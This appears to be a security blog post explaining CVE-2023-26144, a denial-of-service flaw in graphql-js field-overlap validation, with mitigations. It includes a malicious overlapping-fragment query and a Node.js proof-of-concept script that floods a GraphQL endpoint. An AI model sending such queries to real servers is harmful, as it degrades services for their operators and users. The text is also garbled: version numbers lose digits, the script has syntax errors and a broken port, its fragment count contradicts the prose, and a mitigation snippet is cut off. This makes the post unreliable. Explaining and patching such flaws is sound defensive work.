GraphQL has become one of the most popular technologies for APIs, thanks to its flexibility and query structure. But with popularity comes security risks. In this post, we'll break down CVE-2023-26144 — a vulnerability found in certain versions of the graphql npm package that can let attackers slow down your system with just a carefully crafted large query. We'll walk you through how it works, what versions are affected, sample exploit code, links to in-depth documentation, and how to secure your app.

What is CVE-2023-26144?

CVE-2023-26144 is a Denial of Service (DoS) vulnerability impacting the graphql npm package (from version 16.3. up to, but not including, 16.8.1). The issue lives in the file OverlappingFieldsCanBeMergedRule.ts.

When processing large, specifically crafted GraphQL queries, the logic in that file does not perform sufficient checks on overlapping fields. An attacker can send a bloated query that forces the server to spend excessive time analyzing overlaps, slowing down the system or, at worst, grinding it to a halt.

Note: As of the official advisory, it has not been demonstrated that this bug can crash the server outright. However, it can be abused to exhaust resources and make an API unreliable.

References

- GitHub Security Advisory
- CVE Database Entry
- Original Patch PR

Before: 16.8.1

If you use anything in this range, you should upgrade _immediately_.

Understanding the Bug

The root of the problem is in the rule named OverlappingFieldsCanBeMergedRule, which is part of GraphQL's validation process. This rule is supposed to figure out when two selection sets in a query have overlapping fields that can't be safely merged. The flaw here is that with a big enough query with lots of overlapping fields, validation time grows much faster than it should.

Simplified Example

Suppose you have a query where the same field is requested many times, purposely overlapping. Here’s a basic contrast in what a normal vs. malicious GraphQL query might look like:

Normal Query

query {
  user {
    id
    name
  }
}

Malicious Overlapping Query (Simplified)

query {
  user {
    id
    ...A
    ...B
    ...C
    # ... repeat with dozens/hundreds more fragments
  }
}

fragment A on User {
  id
}

fragment B on User {
  id
}

fragment C on User {
  id
}

Now, if an attacker builds this up to hundreds or thousands of overlapping fragments and fields, the validation rule's processing time explodes, eventually bogging down your app.

Proof of Concept (PoC): Exploit Script

Here’s a simple Node.js example to demonstrate how you might write code that sends a large, overlapping query to a vulnerable server. Do not use this for unauthorized attacks.

const fetch = require('node-fetch');

function buildBigQuery(depth, overlap) {
  let fragmentDefs = '';
  let fragmentSpreads = '';
  for (let i = ; i < overlap; i++) {
    fragmentDefs += fragment Frag${i} on User { id }\n;
    fragmentSpreads += ...Frag${i}\n;
  }
  return `
    query {
      user {
        id
        ${fragmentSpreads}
      }
    }
    ${fragmentDefs}
  `;
}

const url = 'http://localhost:400/graphql';; // Change to your GraphQL endpoint
const query = buildBigQuery(1, 100); // 100 overlapping fragments

fetch(url, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ query })
})
  .then(res => res.json())
  .then(res => console.log(res))
  .catch(e => console.error(e));

This script generates a query with 1,000 overlapping fragments, triggering heavy computation inside the GraphQL validator.

You can check your version using npm

npm list graphql

If the version is between 16.3. and before 16.8.1, you're at risk.

Or ensure ^16.8.1 or above in your package.json.

2. Set Query Depth / Complexity Limit
- Use libraries like graphql-depth-limit or graphql-query-complexity to restrict query size and complexity.

const depthLimit = require('graphql-depth-limit');

app.use('/graphql', graphqlHTTP({

Official Fix Details

The maintainers patched the logic in OverlappingFieldsCanBeMergedRule to bail out faster and reduce slow parsing. See this official GitHub pull request for implementation details.

Conclusion

CVE-2023-26144 doesn’t let hackers steal your data or crash your system in one shot, but it _does_ make it easy for a bad actor to bring your GraphQL API to a crawl. Always keep your dependencies updated, use query limiting middleware, and stay in tune with official advisories.

Further Reading

- GraphQL Security Best Practices
- graphql-js CHANGELOG
- NIST NVD Entry for CVE-2023-26144

Timeline

Published on: 09/20/2023 05:15:00 UTC
Last modified on: 09/22/2023 14:05:00 UTC